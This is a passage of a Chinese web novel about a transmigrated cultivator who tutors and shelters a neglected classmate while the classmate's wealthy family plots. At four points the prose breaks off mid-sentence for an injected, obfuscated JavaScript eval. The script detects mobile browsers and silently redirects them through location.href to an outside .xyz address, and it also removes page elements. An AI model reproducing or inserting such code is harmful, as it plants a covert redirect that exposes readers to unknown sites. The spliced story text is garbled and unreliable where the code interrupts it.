他翻了翻桌斗,看着剩下的一张英语卷子,感觉头都大了。 偏偏这时宁时还哪壶不开提哪壶,拿笔戳了戳他: “欸,你做题怎么这么慢,还说要给我补课呢?” 江晏“啪”地一声把卷子再次塞回桌斗,面无表情道:“去找你的路上太热,中暑烧傻了。” 江晏虽然是在说瞎话,但当他看到宁时听了他的瞎话后,笑得两眼弯弯的样子又气打不出来,在心里暗暗道“小没良心的”。 小没良心的抬头看了眼讲台,发现周莉端端正正地坐在上面,带着副红色的金属边眼睛在批作业,时不时低下头扫视一下班级。 于是宁时随手扯过来一张卷子,撕了处没有文字的边角,写到: “你说给我补课的事,真的是开玩笑的吧。” 然后宁时瞄了眼周莉,无声地把纸条推给江晏。 江晏正在听脑海中的啾啾给他读英语,就见到一只修长的手按着一张小纸条过来了。 江晏定睛一看,对啾啾道:“他这是在怀疑我的水平?” 啾啾从一种鸟语换到了另一种鸟语:“显而易见。” 江晏咬了下嘴唇,低头写道:“但我语文好,给你补。” 然后他也悄悄瞄了眼周莉,把纸条推给宁时。 宁时再次把纸条给他时,上面多了一串省略号。 江晏忍不住了,微微抬头,对宁时翻了个小白眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14902322|160119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 宁时又笑了。 他凑近了江晏一点,在江晏耳边,很小声,用气音说: 知道你是在关心我啦,我的新同桌,新室友。 江晏:…… 他别过脸去,低头看那张英语卷子,却一个字也看不下去。 他在意识海里叹了口气,吐槽:“这孩子怎么就这么自恋呢。” “我哪里是关系他,我是关心自己能不能顺利完成这个小世界的任务,他那两个分数可别拖我后腿。” 啾啾:“可从宁时的角度,你确实在关心他,虽然宁时目前也没有搞清楚你这么做的目的。” 这次江晏沉默的时间有点久:“算了,现在有个人关心他也挺好的,毕竟这个世界有点惨啊。” 江晏又想到什么,补充道:“宁家一直没有追究王家当年的责任,估计是有想法。” “啾啾?” “这只是我的推测哈,可能宁时现在的样子和宁家想象中的有差距,再加上他们已经有一个宁瑜了。那把王家留下来可能是以后把宁时和宁家做切分时能用到。” “那这可真是一个悲伤的故事啾。” 这个话题并不轻松,在啾啾发出这句感慨后,双方都很有默契地没有在短时间内再次提起。 …… 晚自习的时间很快过去,随着一声更加悠扬的铃声响起,中学今天的课程彻底结束了。 学生们涌出教学楼,准备回家。 江晏背着包,里面装了一本物理书。在他身边是宁时,他的书包看起来形状有点奇怪,像是装了什么重物。 江晏用手掂了一下,问:“你塞什么了?不像是课本。” 宁时伸了个懒腰:“是水杯。” 江晏奇道:“怎么想起把水杯放在书包里面,侧面不是有地方吗?” 宁时看了他一眼,想起了什么似的,又笑了。 被他这么一笑,江晏也想到了什么。 果然,他听见宁时说:“为了防止再有人捡到我的水杯,然后变成我的同桌和室友。” 江晏:“……你有完没完。” 秋天的夜空很亮,风也清爽。 有夜风吹过他们的肩膀,再流向身后延伸的各个不知名的小巷。 江晏吸了吸鼻子,说:“好香。” 宁时指指远处的几点灯火:“你说的是哪个香气?” 江晏:“有点甜的那种。” 宁时“噢”了一声:“那应该是车轮饼。我给你买两吧,你晚上没吃饱的样子。” 江晏连忙制止:“欸,我不饿——” 但宁时跑得快,他冲到小摊前,以迅雷不及掩耳付了钱,又拿了什么东西塞给江晏。 江晏还没仔细看,就感觉手心里一热。 他低头,是两个圆圆厚厚,外表金黄的小饼。 是刚刚出锅的,还带着微烫的热意,在晚风中格外妥帖。 宁时看着他,惜字如金:“吃。” 江晏便低头咬了一口,是红豆馅的,确实也是刚才他闻见的味道。 他口中却说:“哎呀,下次别买了。” 宁时:“如果你不是吃得都笑了的话,那我就信了。” 江晏:…… 他干脆地咬了一大口,决定不和小朋友计较。 12. 转变 从学校到江晏家,走路、骑自行车、坐公交车都可以。 江晏宁时各办了张共享单车的季卡,决定以后骑车来往了。 开卡的过程中,还有个小插曲。 宁时说了句“也不知道我能用几次,还是先不办了”。 江晏被吓得一激灵,迅速出现在宁时背后,眼看着他开了卡才算完。 并威胁道:“你敢不去上学,我就敢把你赶出去。” 最终得到了宁时同学好好学习信誓旦旦的保证。 如此折腾一番,二人最终是回到了家里。 洗漱过后,江晏翻出啾啾准备的两套新睡衣,对宁时说:“挑一套。” 宁时的目光在棕色小熊图案和黑白小狗图案之间游移。 江晏一边看着,一边对啾啾说:“你看,你选的睡衣我们俩都嫌幼稚。” “啾,那明明是爆款!你那分魂和你一个德行。” 身前,宁时最终选择了黑白小狗的那套。 换好衣服后,江晏打开卧室的灯,看着那一大一小拼在一起的两张床,忍不住道: “我应该不会睡觉不老实,滚到你那边吧。” 说完,就像上手把床往外挪一下。 宁时按了按他的手,说:“要真像你说的睡觉不老实,没了我这张床,可不是要滚到地上了?” 江晏想了想,也是这个道理,便没有再挪动那张床。 他坐到了书桌前,想了想,又起身搬了另一把椅子过来。 宁时坐在床沿上,道:“不用搬我的椅子了。” 江晏平静地看着他:“所以你今天的作业写完了吗。” 宁时刚刚还在和江晏对视的眼一下子飘忽了。 江晏噌地一下站起来,拉着他的袖子试图把他拽过来:“给我学习去。” 宁时有点抗拒:“我又做不会题。” 江晏冷笑:“你现在能会才怪了……我也不会,一起吧。” 宁时看起来还是不大愿意的样子,但估计是想到自己住在江晏家里,还是慢吞吞地坐到书桌前翻出资料。 江晏看他这样,松了一口气,便低头沉浸在书山题海之中了。 宁时低头做了几道题,有道算了半天,算出来一个答案选项里没有数字,便不想继续了。 他侧过脸看了下江晏。 江晏用左手撑着脑袋,眉毛皱着,笔下是一道生物大题。 宁时好奇心发作,凑过去看了眼,道:“不是,你怎么光合作用都忘了?” 江晏:…… 他联想到之前自己大言不惭要给宁时补课,感到非常有必要找个理由原上之前的大话了。 没想到宁时却先说话了:“转校前的年纪前十,嗯?” 江晏破罐子破摔:“我出了点事撞到了头可以了吧!” 宁时表情愣了一下,刚才调侃的笑容渐渐收敛了。 江晏心道不好,这孩子好像当真了。 果然,宁时的声音一下小了一个度,还带了点小心翼翼:“……所以你就转学了吗?” 江晏实在不想打破宁时酝酿好的感情,硬着头皮点了下头。 然后就看到宁时看他的眼神更加……充满怜爱了。 江晏无奈伸手按在他的后脑勺上,微微向右用力把宁时的脑袋转正:“好好写你的作业。” 宁时这次没有和他磨叽,而是“哦”了一声。 然后就真的安安静静鼓捣他那堆作业了。 江晏放下心来,继续让意识中的啾啾教知识点。 他没心没肺惯了,全然没有意识到自己刚才随便找的借口会给宁时带来怎样的震撼。 宁时看似低着头在写作业,但内心惊涛骇浪。 他又悄悄瞄了一眼身边的江晏,又想到江晏曾说过因为家庭原因转学,心中更是惊疑不定。 听起来完全就是一个学霸,遭遇车祸等意外事故失去了父母,还损伤了大脑,被迫转学。 即使是这样,人家还是把自己捡了回来,一起住在这个不大的屋子里。 …… 江晏再次抬头时,看到宁时注视着自己。 他吓了一跳:“你怎么看着我?” 宁时语气有些恍惚:“你真不容易。” 江晏想到了自己一个化神后期因为渡劫出了岔子,结果现在要陪十几岁的小朋友一起学乱七八糟又很难的知识,不禁赞同道:“我也觉得我挺不容易的。” 宁时继续:“……这种情况你都能坚持得下来,我还有什么理由摸鱼!” 江晏:不太对劲,你到底脑补了什么误解了什么! 用脚趾头想想都能明白是他刚才说的话给了宁时误解,但江晏看宁时这样,他还不好解释。 宁时突然一把按住他的肩膀。 江晏:! 他只听见宁时认真地说:“江晏,你肯定能恢复的。” 江晏的思绪又回到了被雷劈的那一刻,他几乎热泪盈眶:“我谢谢你啊。” 宁时继续道:“哎,你真的太不容易了。” 江晏看着他自说自话:“我还是好好学习吧,考个好大学,挣钱买房子,以后换你来我家住。” 江晏小声对啾啾说:“真是朴素的愿望,他肯定是误解什么了。” 江晏不知道说什么,他最终“嗯”了一声。 宁时得到了他的回应,看起来安心了很多。 他扭过身去,继续对着那张卷子,就连背影看起来也坚定了很多。 江晏虽然不清楚他究竟脑补了什么,但看他能沉下心来学习,也是对完成第一个世界线有了信心。 他便也做题去了。 啾啾问:“你真的要自己干?明明可以用我给你的答案的。” 江晏:“算了吧。” 啾啾:“我真是多嘴白问你……不过也行,低级一点的系统容易出故障,那时他们的宿主就惨了。虽然那些垃圾不能和我比,但你有这种独立的精神,也挺好。” 江晏敷衍道:“行了,等回到原世界我还不是一个人,总依赖外物不行的。” 他没有接着和啾啾聊天,而是把错题整理了一下。 弄完这些,江晏看了眼时间。 哦吼,十二点半了。 明天早上还要六点四十起床。 江晏决定睡觉去。 他虽然用这个人类的身体时间不长,但也明显感觉到了限制很多。 如果是修真界的身体,他完全可以一晚上不睡。 ……不能多想,江晏又开始想回去了。 修真界有他的一切,修为,身份,朋友,财富等等 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14902323|160119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 江晏看了一眼宁时,思考宁时的具体人生愿望,并准备叫他一同准备休息。 然后江晏看到了一个把头埋在左胳膊肘里的宁时。 睡得正香。 江晏轻轻挪开椅子站起来,走到宁时的右侧。 把他手里握着的笔抽走。 江晏有点无语。 一方面,他有点心疼宁时的辛苦,另一方面,他又很想吐槽对方看书看睡了的行为。 啾啾好像猜到了他在想什么,道:“过俩星期你也会困成这样。” 江晏:“我还以为是小孩子觉多。” “啾,别忘了你现在这个身体也算小孩子。” 江晏抚摸了一把啾啾,转身伸出根手指戳了下宁时的胳膊:“宁时?” 宁时完全没有回应。 江晏加大了力度:“宁时?醒一下呗。” 宁时哼唧了一声,并把胳膊往后撤,挡了起来。 失去了宁时胳膊戳的江晏:…… 他再次伸出手指,戳向宁时的脸。 “醒醒了,去床上睡觉。” 手下的触感很光滑,软软的,还带着点弹性。 江晏并不知道这个世界上还有“捏捏”这种解压玩具,他只知道此时宁时的脸很好玩。 好玩到他忍不住加了一根手指,从戳一戳改成了捏一捏。 他正沉浸于“小孩就是细皮嫩肉”的感慨中,忽然听见一个声音:“你在干什么?” 江晏缓缓将视线上移,看到宁时睁着一双黑漆漆的眼睛。 可能因为刚睡醒,瞳孔还显得有些散,没有完全聚焦。 江晏决定趁宁时还在迷糊,转移话题。 于是他收回手,无声地后退一步,不动声色地拉开和宁时的距离。 “你看起来很困,去床上睡吧。” 宁时专注地看着他。 江晏决定装傻到底:“快睡吧,明天还要上学呢。” 宁时伸手揉了下眼,站起身走过来。 江晏:耶!就这样直接去睡觉吧,不要深究是怎么醒的…… 结果他感觉身前一暗,宁时站到了他身前,挡住了一部分桌前台灯晕开的光。 江晏推了下他:“你挡光了我看不清,还要收拾书包呢。” 宁时还在那站着。 江晏决定绕过他,向左移了两步。 宁时也向左动了动,道:“刚才你捏我脸把我叫醒的。” 完全是陈述的语气,充满了肯定。 江晏试图糊弄一下:“你太困了记错了。” 宁时重复:“你捏我脸。” 江晏:“我没有,我只是戳了下你胳膊。” 宁时:“那你戳我胳膊。” 江晏:……这孩子是困迷糊了吧。 他决定哄一下:“行,我把你弄醒了,你上床去睡吧。” 宁时点了点头,径直走向那张新买的小床,把自己扔到了了床上。 不一会儿,听见了明显呼噜声的江晏只好任劳任怨,把宁时的书包也收拾好了。 他关掉灯,借着手机屏幕和透过窗帘微弱的光,绕开宁时,躺到自己的床上,拉上被子。 这是很累的一天,也是很新的一天。 他在宁时平稳的呼吸声中入睡。 13. 卷起来 江晏不知道宁时具体脑补了什么,但是自从他把宁时捡回来之后,宁时身上发生了不少改变。 比如,每天跟着他乖乖去上课。 当然,中间也接到了来自宁家的电话,内容无非是询问宁时在哪里,让他回去等等。 对此,宁时只有一个解释: 我住在同学家,天天去上课。 言外之意就是自己没干什么别的事,让他们别在骚扰自己了。 然后宁家开始给周莉打电话。 与此同时,宁时的熊孩子弟弟宁瑜一开始还不太相信宁时搬出去住,过上了平静的上学生活,甚至还在宁时的学校门口试图堵住宁时。 他理所当然地被江晏发现了。 趁这个机会,江晏硬是拉着宁时,在周莉面前狠狠告了一番状。 内容无非就是宁时的父母如何不称职,宁瑜如何打扰宁时学习之类。 周莉非常震惊,因为宁时从来没有和她说过这些。 但作为一个老师,她还是要和宁时的父母沟通的。 周莉认为宁时现在这个状态很好,于是在给宁陟岳打电话时含蓄了不少: “宁先生啊,我看孩子最近不错,每天都挺认真的,成绩也开始提升了。要不,我们先让他这样,观察一阵?” 周莉都这样说了,宁陟岳也不好说什么了。 更何况,宁时的成绩确实是在提升,这让宁陟岳对他的包容度多了很多。 毕竟,宁家未来需要一个合格的继承人。从前宁瑜性格狂傲,宁时更是哪儿哪儿都不行。 现在却是变了,宁陟岳也开始对宁时的前途上心了。 既然宁时住在江晏家成绩上去了,那就让他这么住着。强行把他拉回来,也会伤了父子感情。 宁陟岳显然并不知道宁时对他没多少感情。 但无论如何,江晏和宁时的生活总算是渐渐归于平稳了。 江晏非常感动。 他对啾啾说:“我感觉再坚持几个月,就能顺利完成第一个世界了。” 江晏又看了眼身边做题的宁时,问啾啾:“你看,他现在像不像个乖孩子了?” 啾啾语气中透着一股恍惚:“反正我是没想到半个月内他能考到年纪前六百。” 江晏:“哈哈,我功不可没。” 下课铃响了,啾啾跟着节拍踩了他一下。 江晏伸了个懒腰,椅子随着他的力道往后倒了一下,轻轻磕到了身后胡方泽的桌子。 胡方泽抬头,看了眼江晏,又看了眼宁时。 他突然发出一声哀嚎。 江晏扭头:“你怎么了?” 胡方泽指着还在低头写卷子的宁时:“不是,他怎么还在学啊。” 江晏也顺着他的手指看了眼宁时,道:“孩子懂事了呗。” 胡方泽一把拉住江晏的袖子:“不,你根本不懂!” 江晏带着一副“我就静静看你表演”的表情。 胡方泽苦着脸:“本来我们都是后十的,结果这小子背着我们偷偷卷起来了。” 他话音刚落,宁时就回过头来。 宁时从前的余威尚在,胡方泽缩了下脖子。 宁时却漫不经心道:“哪里是背着你们。” 他指了指桌上的卷子:“我是大大方方地在学,好吗。” 胡方泽又哀嚎一声:“哥,求你别学了,这都下课了,玩一会儿吧。” 江晏很不给面子地笑出声来。 胡方泽道:“你的成绩上来了,上次我妈看成绩单注意到你了,现在天天拿我和你比。” 宁时摊了摊手,无奈耸肩,又转过身去,留给胡方泽一个背影。 江晏也笑嘻嘻道:“我去趟厕所。” 说完,蹦蹦跳跳地离开了座位,独留胡方泽一人感受卷王的气息。 时间就这样平静地流过。 在白天,宁时会安安静静听课。 当然有时也会开小差,会犯困。这时,江晏会悄悄踩他一脚。 江晏一度怀疑过宁时的起床气就是这样被自己磨没的。 后来,江晏吃到了人间的茉莉薄荷糖,惊为天人。 此后每当宁时再次犯困,江晏就会塞给他一粒。 糖果和金属包装相撞的声音很响,他必须用力捂紧包装打开,减少声音的响度。 偷偷摸摸的。 宁时也会偷偷摸摸地从他手上拿走那颗糖。 有时候宁时会摸到江晏手上的痒痒肉,江晏会憋着笑。 至于那颗用于提神的糖,有时候管用,有时候没用。 江晏眼睁睁见过宁时含着薄荷糖睡着了。 那次,他难得很有良心地没有叫醒宁时。 对此,啾啾评价:“你终于不像一个只盯着他学习的班主任了。” 江晏“切”了一声。 天气渐渐转凉下来,在晚上的大课间,宁时会拉着江晏参观学校的小角落。 实验中学有很多栋楼,方形的,不规则形状的。学校后期又建了一些通道把它们连在一起。 宁时会带着江晏去钻犄角旮旯的地方。 这些地方都没什么人,他们只是在那里静静地坐在。 有时候抱着一本单词书静静地坐着。 江晏个人很喜欢一处位于楼梯口的连结处。 这里有几扇很大的窗户。 在二楼,能看到窗外松树的尖尖,和远处的操场,还有学校围墙外更远的地方。 月光携着路灯的光,会透过窗子撒下大片明亮的阴影。 他和宁时坐在楼梯口的木板凳上。 周围很安静,有时甚至可以听见对方的呼吸声,那通常是宁时带他过来时走快了。 这从前是宁时的秘密基地。 江晏没有问宁时是怎么发现这里的。 也没有问他从前一个人来这里做什么。 他只懒洋洋地做在椅子上,仰着头,靠在身后微冷的墙壁上。 反正现在这里是他和宁时共同的秘密基地了。 在十一月底的时候,秘密基地外面的松树尖尖变成白色了。 是因为这个城市下了第一场雪。 此时,宁时从年纪前六百升到了前五百。 江晏则是前三百。 但此时江晏想的是,有必要给自己和宁时加一床被子了。 这几个月,江晏在对比了种种兼职后,选择了看起来最安全的——书店管理员。 时薪不算高,但好在工作时也可以看看书。 他和宁时靠这个攒了一点点钱。 中间宁家也打给过宁时钱。 两人算了算,购置冬天衣服差不多能够用。 这个世界,让江晏想起了自己很久很久之前的事。 他对啾啾说:“我好像知道自己为什么不太喜欢冬天了。” 啾啾“唔”了一声表示疑问。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14902324|160119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>江晏窝在床上,披着被子,看着书桌前同样披着毯子在学习的宁时,道:“因为冬天的衣服很贵。” 想了想,看着屋子里银灰色的管道,又补充说:“而且还有取暖费。” “对于我们这种没什么钱的人,冬天就是用攒了很久的钱买一件厚衣服,然后还不敢随便洗,因为干不了。” 啾啾:“……你突然这么真情实感地带入这个世界,让我感觉你好惨啊。” 江晏揉了揉鼻子:“我现在难道还不惨吗?我已经活了那么久为什么还要受这种罪!” 啾啾无奈:“你再坚持坚持,如果真到高考结束的话,这个世界已经过了三分之一了。” 江晏怏怏地哼唧了一声。 他感觉自身对寒冷的反感好像并不止来自于这个世界,更像是刻在骨子里的记忆。 但他又确实没有什么挨冻的记忆了。 江晏最初的记忆只停留在进入宗门前几个月。 江晏看着台灯晕开的光,想着,没关系的,他把分魂碎片都集齐之后,总会知道这件事的。 …… 宁时写完了作业,裹着毯子也窝在他身边,打开手机点了点,指着屏幕问江晏:“你看买哪个?” 江晏低头,看见宁时收藏了好几种棉被,有一床是淡绿色的,上面印了几只小恐龙。 他有点心动。 再往下看,是一床棕色的毛毯,颜色看起来有点像烤箱里刚出炉的面包,非常温暖。 江晏于是陷入了纠结。 他抿着嘴,用手指戳着屏幕, 宁时从他身侧伸出手,抽走了手机:“还是买两套吧。” 江晏虽然内心非常赞同,但口中还是道:“不用了吧……” 宁时指了指床:“只买一套怎么分。” 江晏:……行吧。 于是他看着宁时勾选了购物车里那两套被子,利落地下单。 过了一周,宁时买的被子到了。 在楼下的驿站放着,是两个很大的包裹。 此时,是深秋的一个普通周日,阳光很好。 宁时没有看书,江晏也没有。 他们只是在床上瘫着,任凭阳光穿过窗棂,在他们的身上和脸上打下光芒或阴影。 宁时举起手机,在江晏面前晃了晃。 于是江晏面前的光被他的动作切碎了。 江晏依旧躺着,伸直了胳膊去够他的手:“怎么了?” 宁时顺势把手机塞到江晏手里:“我们的被子到了,一起下去拿吧。” 江晏丢开手机,翻了个身,把脸埋到被子里:“想想就感觉好累哦。” 宁时揪了下他的后颈,像在揪一只被惯坏了的猫:“别磨叽了,早晚都要去拿的。” 江晏的声音从被子上面穿出来,有点闷闷的:“等我做一下心理建设。” 一边,他对啾啾吐槽:“每当这种时候,我都格外怀念我在修真界的身体。” 不管江晏愿不愿意下去取,包裹都在那里。 他又不可能让宁时一个人去拿。 休息了一会儿,江晏和宁时一同下去了。 两个人一人抱着一个包裹上楼梯。从远远看去,他们的身影在洒满阳光的老旧楼房里,一会儿明一下,一会儿暗一下。 不一会儿,那两床新被子出现在了他们的床铺上,微微带着金色。 江晏和宁时又瘫在了上面,像两只晒太阳的猫。 14. 重视 在这个深秋,实验中学的学生们迎来了期中考试。 大部分学校的考场会按排名来分。 这样,江晏被分到了比宁时靠前一点的考场。 他在二楼,宁时在三楼。 对于这场考试,两人没有什么特别突出的情绪。 其实他们的很多同学也没有。 在经历了一次又一次周考后,期中考试在他们眼中只是一场需要换教室、更麻烦一点的考试罢了。 江晏比起上课更喜欢考试。 因为这个时候没有作业,而且课间也比往常更长一点。 他在每科考试的间隙中走出教室,靠在旁边的栏杆上透气。 微微仰头,能看到向上堆叠的楼层,和半透着天光顶棚。 宁时在他头顶上的三楼,对他挥了挥手。 过了一会儿,江晏感到肩膀被人一拍。 他回头,是宁时下来找他了。 宁时看着他,问:“晚上吃啥?” 江晏回想了一下食堂的各个窗口,实在想不出有什么好吃的:“随便吧。” 宁时凑到他身边,也靠在栏杆上:“天天都在纠结吃什么。” 江晏叹了口气:“不行就一楼的份饭。” 宁时“嗯”了一声。 江晏指了指手表,道:“还有四十分钟的时间,去吗?” 宁时说:“再等等。” 又指着一楼下面的钢琴:“可能会有人弹。” 江晏:“……我一直以为这是起一个造型上的作用。” 宁时说:“是你还没有见过。有个不成文的规律,就是像这种大考后,上去弹一弹,教导主任是不会管的。” 江晏听了他的话,向下看去。 人群确实渐渐聚集了一些,但并没有人上前。 宁时看着他们,脸色有点凝重。 他突然回头对江晏说:“要么我们还是先去吃饭吧。” 江晏:“哈?” 宁时兴奋道:“他们都在这里聚着等着看弹琴,这说明什么?” 江晏看着他,不明所以。 宁时拉住了江晏:“说明没什么人去食堂啊!” 江晏恍然大悟:“走走走,趁人少吃饭去——” 他们在食堂一楼吃了份饭。今晚的土豆条被炸得很脆,上面还裹了薄薄一层糖浆,咬起来咯吱作响。 在食堂里坐了一会儿,浑身都缓和起来了。 他们又慢慢走回教学楼。 还没走到门口,就听见了隐约的音乐声。 江晏用胳膊顶了下宁时:“已经开始了。” 宁时仔细听了听,“嗯”了一声。 江晏拉着宁时走进大楼,撩开用于隔风的厚重棉帘的那一瞬间,明显感觉音乐声大起来了。 是很欢快的节奏,甚至是有些肆意了。 周围人很多,江晏看不见台上的人,最终放弃了对演奏者的好奇心。 宁时突然说:“这首歌是《freebird》,我还是第一次听用钢琴弹的。” 江晏看着他。 宁时干咳了一声,继续道:“音乐软件这首歌还收费,希望以后我能有钱开会员。” 江晏:“……你跳跃的太快了。” 期中考试一共两天,很快就结束了。 但之后还会有十校联考。 可能出于近期考试比较密集的原因,学校给大家放了一天假。 江晏和宁时在窗边瘫着晒太阳。 自从他们的新被子到了之后,床变得更软乎了,两人也变得更愿意躺着了。 一切都很和谐。 只是宁时的手机时不时嗡一声,但他没有去看消息。 最后还是江晏道:“你的手机一直在响欸。” 宁时抓起来看了下:“垃圾信息。” 此时江晏已经和宁时很熟了,他几乎毫不犹豫道:“哪里有这么多垃圾信息,除非有人把你手机号挂网上了。” 宁时没有说话。 江晏突然反应过来什么,从床上坐起来,站直了身子:“不会吧,不会是你……呃,真父母吧。” 他没有用亲生父母这个说法,因为在江晏看来,这个称呼中蕴含的感情,和宁时所处的环境不符。 江晏感觉不太合适。 宁时听了他的话,用鼻子“唔”了声。 又拿起手机戳了一番,递给江晏:“他们不知道抽哪门子风,最近突然对我嘘寒问暖。” 江晏伸手向上划拉了几下屏幕,看到了满屏的白色信息条。 宁时斜着眼看着,说:“这还只是……我妈发的。” 说完,从江晏手里抽走手机,又点了点给江晏看:“这是我爸。” 代玉兰和宁陟岳都发了很多语音,江晏问:“我能点开一个听听吗?” 宁时干咳了一下,道:“算了,我给你转文本。” 江晏就笑了。 他看着宁时的手机,这一对夫妻说了很多废话。 他们对着宁时嘘寒问暖,问他在朋友家住得习不习惯。 又说有什么需要钱的地方要给他们说。 江晏看了看,问宁时:“他们说缺钱可以要生活费?那你……” 宁时发出了声短暂的笑,推了他一把:“你不会真信了吧?” 完全失去自己十几年记忆的江晏回给宁时一个疑惑的眼神。 然后江晏就看见宁时的神色突然变得很复杂。 江晏不是这个世界的人,所以他不知道宁时脑补出了他来自一个幸福的家庭。 并且宁时刚刚露出了“反派见到拥有幸福生活的主角并不理解苦难”的表情。 宁时吸了口气,像是在增加自己的耐心:“来,我给你解释一下。” “他们虽然是这么说的,但是你真找他们要钱的时候,又会很难。” 江晏长长地“哦”了一声。 宁时:“你明白了?” 江晏道:“不就是说得跟真的一样嘛。” 他一边对啾啾吐槽:“就好像管合江宗内务的那批人,就算是我跟掌门熟,每个季领东西的时候也磨蹭。偏偏还总跟我说什么‘江峰主有需要跟我们讲啊’,拉倒吧。” 说完,江晏继续往下划拉聊天记录。 代玉兰还劝过宁时回到家里住,理由是家里的环境更好,宁时更能安心学习。 后面,则是说宁陟岳看见他进步了不少,开始联系私立高中,准备给他转学。 江晏看着一脸无所谓的宁时,把手机几乎怼到了他脸上,用手指用力戳着转学这句话,以至于屏幕微微闪动:“这么大的事你居然没告诉我!” 啾啾在他意识海中添油加醋:“哎呀,看来遇到你掌控之外的变动了呢。” 宁时则是一脸冷静,按下江晏举起的手,微微疑惑:“可是他只是有这个想法,还没办。我现在还和你在实验中学呢。” 他后知后觉地感受到了宁陟岳话中暗含着“分别”的意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14902325|160119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 味,甚至略带讨好地加上了“和你”。 江晏抓了把头发,道:“……他应该不只是停留在想法阶段了。” 这下,换成宁时惊讶了:“啊?” 江晏痛苦道:“根据你那天和我说的哈,我感觉……叔叔,应该是个很有想法的人。” “他和你说这件事,只是通知你一下,没有什么选择。” 宁时:…… 他小声而犹疑道:“应该不会吧?” 江晏苦着脸咧了下嘴:“说不好。” 一时间,两人都沉默了。 刚才还在正中的太阳已经渐渐西斜,他们的影慢慢变长。 最后还是江晏打破了沉默:“那只是我的推测哈,不一定。” 空气依然是沉默的。 江晏自暴自弃道:“算了,车到山前必有路,先不想这个事了。” 宁时看着他,点了点头。 然后道:“对,快期中了,想这些事还白白心烦。” 说完,拉起江晏去书桌前学习了。 …… 在两人并不知晓的地方。 宁家的客厅里,爆发了一场争吵。 宁瑜站着,梗着脖子,对面前的宁陟岳和代玉兰大声道:“他凭什么要回来!” 代玉兰揉了揉额角:“怎么说话呢,那是你的亲哥哥,我的孩子。” 宁瑜的声音高了一个度:“我和他又不熟!他一副小家子气你们还真把他当个宝了!” 代玉兰没有说话,宁陟岳则是沉默地看着他发疯。 宁瑜还沉浸在自己的情绪当中:“你们都不爱我了!凭什么宁时……” “够了!” 一道男声在客厅响起,是宁陟岳。 他坐在皮质沙发上,直起了后背,使得看起来比刚才高了一截,在这傍晚没有开灯的房间里很有压迫感。 宁瑜也不过十几岁,见父亲语气不好,微微向后退了半步。 代玉兰缓声道:“陟岳。” 宁陟岳却是站了起来,对这宁瑜冷声说:“你看看你那哥哥,虽然一开始让人养歪了,但自从接回我们宁家,你看他现在进步多少!” “而你呢!我们辛辛苦苦挣钱攒钱送你去那么多学费的学校,你的成绩怎么不见起色?” 宁瑜嘟囔道:“我们学校都是学霸好吗……” 宁陟岳却更生气了:“别找理由,宁时读的实验中学里面不也很多好学生吗?” “看看人家,再看看你!” 说完,也没有管在场的两人,径直去了书房。 宁瑜在原地呆愣片刻,对代玉兰嗷地一嗓子:“妈!他今天是工作不顺吗!” 代玉兰叹了口气:“你可长点心吧,去吧,还不去你屋学习去?” 宁瑜:“啊?” 代玉兰也是冷下脸:“你在磨蹭什么?怪不得你爸这么说你。” 宁瑜发出尖叫:“凭什么!” 他冲上了楼,准备重重关上门。 但仅存的部分理智让他拦了下门板作为缓冲,于是在楼下的代玉兰听见了一声不大不小的响动。 她叹了口气,开始思考如何让宁时和宁瑜增进感情。 那天,宁陟岳对她提了一句准备把宁时送到条件更好的私立高中。 如果这件事真的能做成的话,两个孩子就能在一起读书了。 想必会增进互相了解,感情就变好了。 ——来自代玉兰充满自信地展望。 15. 同归 宁瑜待在自己的卧室里,感觉热血一股股地往头上涌,脑袋里的血管突突直跳。 凭什么宁时这个别人养大的孩子能得到父母这么大的重视! 凭什么要分走他的爱! 他看着自己的卧室。 实木的大床,舒适的人体工学椅,曲屏电脑,和那挂了半墙的手办。 十几岁的孩子对某些方面已经开始朦胧地懂事了。 宁瑜意识到,自己的父母算有点小钱。 如果没有宁时,这份家业不出意外会是自己的。 可现在宁时开始得到父母的重视了,他没法再想从前一样欺负宁时了。 那么,父母为什么重视宁时呢? 